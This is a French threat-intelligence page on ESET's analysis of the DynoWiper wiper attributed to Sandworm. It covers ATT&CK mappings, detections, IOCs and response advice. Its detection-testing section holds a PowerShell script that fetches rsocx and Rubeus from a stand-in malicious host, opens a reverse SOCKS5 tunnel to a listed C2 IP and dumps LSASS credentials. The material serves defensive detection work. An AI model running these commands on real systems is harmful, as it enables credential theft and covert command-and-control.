Mise à jour de la recherche ESET sur DynoWiper : Analyse technique et attribution
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
DynoWiper est un wiper destructeur utilisé contre une organisation du secteur énergétique en Pologne, affectant plusieurs points de terminaison à travers les opérations. Les exécutables ont été mis en scène dans un emplacement réseau partagé et lancés directement depuis ce partage. ESET attribue l’activité à Sandworm avec une confiance moyenne. Une fois exécuté, le malware corrompt les fichiers ciblés avec des octets aléatoires et déclenche un redémarrage forcé pour compléter l’impact.
Enquête
ESET a récupéré trois échantillons—schtask.exe, schtask2.exe, et _update.exe—déposés sous C:inetpubpub. Les chemins PDB intégrés suggèrent que les binaires ont été compilés dans un environnement Vagrant. L’ingénierie inverse a révélé une routine d’effacement en trois étapes, avec deux variantes insérant une pause de cinq secondes entre les phases. Les artefacts post-compromission incluaient également l’outil Kerberos Rubeus et un proxy SOCKS5 rsocx au sein du réseau de la victime.
Atténuation
ESET PROTECT sur les systèmes de la victime a bloqué les trois variantes, limitant les dommages. Réduisez l’exposition en empêchant la création de tâches planifiées non autorisées et en surveillant les écritures inattendues dans les répertoires partagés. Ajoutez une liste blanche d’applications et interdisez l’exécution depuis des partages réseau autant que possible.
Réponse
Identifiez et isolez les hôtes qui exécutent schtask.exe, schtask2.exe, ou *_update.exe à partir d’un partage. Préservez les preuves volatiles, examinez les tâches planifiées et les traces de déploiement PowerShell, et retirez les outils tels que Rubeus et rsocx. Complétez une analyse forensique complète et restaurez les données à partir de sauvegardes propres vérifiées.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[« <b>Action</b> – <b>T1105 Transfert d’Outils Entrants</b><br/><b>Description</b> : Des outils supplémentaires tels que Rubeus.exe et rsocx ont été téléchargés dans l’environnement compromis. »] class action_ingress technique tool_rubeus[« <b>Outil</b> – <b>Nom</b> : Rubeus.exe<br/><b>Description</b> : Effectue le vol et l’abus des identifiants Kerberos. »] class tool_rubeus tool tool_rsocx[« <b>Outil</b> – <b>Nom</b> : rsocx<br/><b>Description</b> : Proxy SOCKS5 utilisé pour relayer le trafic de Commandement et Contrôle. »] class tool_rsocx tool action_cred_dump[« <b>Action</b> – <b>T1003.001 Mémoire LSASS</b><br/><b>Description</b> : La mémoire du processus LSASS a été vidée via le Gestionnaire des tâches afin d’obtenir des identifiants. »] class action_cred_dump technique action_powershell[« <b>Action</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b> : Des scripts PowerShell ont été exécutés pour déployer des binaires malveillants et faciliter les actions ultérieures. »] class action_powershell technique action_cmd[« <b>Action</b> – <b>T1059.003 Interpréteur de Commandes Windows</b><br/><b>Description</b> : cmd.exe a été utilisé pour exécuter des commandes et orchestrer le wiper. »] class action_cmd technique action_gpo_discovery[« <b>Action</b> – <b>T1615 Découverte des Stratégies de Groupe</b><br/><b>Description</b> : Les objets de stratégie de groupe ont été identifiés pour préparer un déploiement à grande échelle. »] class action_gpo_discovery technique action_gpo_modify[« <b>Action</b> – <b>T1484 Modification des Stratégies de Domaine ou de Locataire</b><br/><b>Description</b> : Les stratégies de groupe ont été modifiées afin de distribuer le binaire DynoWiper à l’échelle du domaine. »] class action_gpo_modify technique action_schtask[« <b>Action</b> – <b>T1053 Tâche Planifiée</b><br/><b>Description</b> : Des tâches planifiées ont été créées avec schtask.exe pour assurer la persistance de l’exécution du wiper. »] class action_schtask technique action_data_removable[« <b>Action</b> – <b>T1025 Données à partir de Supports Amovibles</b><br/><b>Description</b> : Les outils et le wiper ont été placés dans le répertoire réseau partagé C:\\inetpub\\pub\\. »] class action_data_removable technique action_file_discovery[« <b>Action</b> – <b>T1083 Découverte de Fichiers et Répertoires</b><br/><b>Description</b> : Les fichiers et répertoires ont été énumérés sur les disques fixes et amovibles en excluant les dossiers système. »] class action_file_discovery technique action_wipe[« <b>Action</b> – <b>T1561.001 Effacement du Contenu du Disque</b><br/><b>Description</b> : Le contenu des fichiers a été écrasé avec des données aléatoires, supprimant ou corrompant les données. »] class action_wipe technique action_reboot[« <b>Action</b> – <b>T1529 Arrêt ou Redémarrage du Système</b><br/><b>Description</b> : Un redémarrage forcé a été effectué après l’effacement afin de finaliser la destruction. »] class action_reboot technique action_proxy[« <b>Action</b> – <b>T1090.002 Proxy Externe</b><br/><b>Description</b> : rsocx a été configuré pour utiliser le proxy SOCKS5 externe 31.172.71.5:8008 afin de masquer le trafic de Commandement et Contrôle. »] class action_proxy technique malware_dyno[« <b>Malware</b> – <b>Nom</b> : DynoWiper<br/><b>Description</b> : Charge utile destructrice qui écrase les données et déclenche un redémarrage du système. »] class malware_dyno malware %% Connections action_ingress –>|télécharge| tool_rubeus action_ingress –>|télécharge| tool_rsocx tool_rubeus –>|permet| action_cred_dump tool_rsocx –>|fournit| action_proxy action_cred_dump –>|fournit des identifiants à| action_powershell action_powershell –>|exécute| action_cmd action_cmd –>|orchestre| action_wipe action_gpo_discovery –>|mène à| action_gpo_modify action_gpo_modify –>|distribue| malware_dyno action_schtask –>|crée une tâche pour| malware_dyno action_data_removable –>|stocke| tool_rubeus action_data_removable –>|stocke| tool_rsocx action_data_removable –>|stocke| malware_dyno malware_dyno –>|exécute| action_file_discovery malware_dyno –>|exécute| action_wipe action_wipe –>|déclenche| action_reboot action_proxy –>|relaie le trafic pour| malware_dyno
Flux d’Attaque
Détections
Opération Potentielle d’Auto-suppression de Malware ou de Dissimilation Stderr (via la ligne de commande)
Voir
Arrêt Utilisé Pour Forcer l’arrêt ou le Redémarrage d’un Système (via la ligne de commande)
Voir
IOC (HashSha1) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
IOC (SourceIP) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
IOC (DestinationIP) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
Détection du Déploiement de DynoWiper via l’Exécution de Tâches Planifiées [Événement de Fichier Windows]
Voir
Détection d’Outils Malveillants et de Dump de Mémoire LSASS [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification de Télémétrie et de Baseline Pré-vol doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.
-
Récit d’Attaque & Commandes:
- Établir un proxy SOCKS5 inversé en utilisant
rsocx.exe. L’adversaire télécharge le binaire depuis un serveur externe, le place dans%TEMP%, et l’exécute avec l’argument-r 31.172.71.5:8008pour créer un tunnel inverse vers l’hôte C2. - Abuser des tickets Kerberos avec
rubeus.exe. L’outil est exécuté pour demander un ticket-grant de ticket Kerberos (TGT) pour le compte de l’administrateur du domaine et ensuite forger un ticket de service (s4u2self). - Faire un dump de mémoire LSASS en utilisant
procdump.exe(une alternative courante au Gestionnaire de tâches) pour capturer le matériel d’identification. Sysmon enregistre un événement d’Accès au Processus où le processus de l’attaquantprocdump.exeaccède àlsass.exeavec le masque d’accès accordé0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- Établir un proxy SOCKS5 inversé en utilisant
-
Script de Test de Régression :
# ------------------------------------------------------------- # Script de simulation – déclenche la règle Sigma pour rsocx, rubeus, # et dump LSASS. Exécutez avec des privilèges administratifs. # ------------------------------------------------------------- # 1. Déployez rsocx.exe (proxy SOCKS5 inversé) $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. Déployez rubeus.exe (abus de Kerberos) $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. Faire un dump de LSASS using procdump (requiert Sysinternals) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "Simulation completed. Check SIEM for alerts." -
Commandes de Nettoyage :
# Terminer tous les processus malveillants persistants Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les binaires et les fichiers dump Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Optionnellement, supprimer les répertoires de téléchargement temporaires Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Cleanup finished."